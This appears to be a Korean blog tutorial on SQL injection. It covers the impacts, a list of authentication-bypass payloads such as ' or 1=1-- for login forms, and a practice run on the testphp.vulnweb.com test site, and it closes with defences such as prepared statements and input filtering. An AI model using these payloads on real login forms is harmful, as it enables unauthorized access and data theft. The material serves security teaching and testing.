SQL 인젝션에 대해서 간단하게 알아보도록 하겠습니다.
자세한 것은 http://itlearner.tistory.com/304?category=780096을 참고하면 되겠습니다.
1. 취약점 이해
1-1. 개요
데이터베이스와 연동된 웹 어플리케이션에서 SQL 질의문에 대한 필터링이 제대로 이루어지지 않을 경우 공격자가 입력이 가능한 폼(웹 브라우저 주소 입력창 또는 로그인 폼 등)에 조작된 질의문을 삽입하여 웹 서버의 데이터베이스 정보를 열람 또는 조작을 할 수 있는 취약점을 말합니다.
1-2. 파급 효과
- 데이터베이스 정보 노출
- 데이터 삽입, 삭제 및 변경
- 데이터베이스 서비스 중지
- 사용자 인증 우회
1-3. 취약점의 이해
SQL 인젝션 공격은 SQL(DB의 정보를 조회하기 위해서 질의 및 조작하는 명령어)를 이용하여 불법적으로 DB의 내용을 훔쳐보게 되는 공격입니다.
2. 취약점 진단
2-1. 취약점 진단 방법
test및 admin 계정이 사용될 경우, 또는 계정을 알 고 있을 경우에 아래 구문을 패스워드에 넣으면 됩니다. 로그인이 성공된다면 취약한 것으로 판단합니다.
' or 1=1--' |
+ or 1=1-- |
' or 1=1-- |
' or 1=1/* |
' or '1'=1' |
' or 1=1 ;-- |
' or 1='1 |
' or 1=1 -- |
' or 1=1-- |
' or '1'='1 |
' or ''=' |
' or '1'='1' --' |
' or 1=1 -- |
' or 1=1# |
3. 실습
실습은 http://testphp.vulnweb.com에서 진행하였습니다.
3-1. SQL Injection
=> http://testphp.vulnweb.com/login.php 페이지를 보면 아래와 같이 로그인할 수 있는 폼이 있습니다.
=> 아이디에는 test, 암호에는 'or 1=1--' 를 입력해봅니다. 그러면 아래와 같이 로그인된 것을 볼 수 있습니다.
4. 대응방안
① Prepared Statement 구문을 통한 방어
: SQL 쿼리를 선 처리하여 컴파일 한 후, 이후 입력받는 변수 값을 항상 문자열변수로 다루기 때문에 공격자의 악의적인 SQL 구문을 변수에 삽입하여도 SQL 구문에 영햐을 미치지 않아 SQL 인젝션이 발생하지 않습니다.
② MS-SQL의 경우 aster..Xp_cmdshell. xp_startmail, sp_sendmail, sp_makewebtask 확장 프로시저를 제거
③ 데이터베이스와 연동하는 스크립트의 모든 파라미터들을 점검하여 사용자의 입력값에 대한 SQL 쿼리문이 삽입되지 않도록 특수문자 및 쿼리 예약어를 필터링
④ 데이터베이스의 에러 메시지를 사용자에게 보여주지 않도록 적절한 처리
본 글은 "누구나 쉽게 따라하는 웹 취약점 진단 기술" 서적과 "KISA의 취약점 진단 제거 가이드(2013.12)"를 참고하여 작성하였습니다.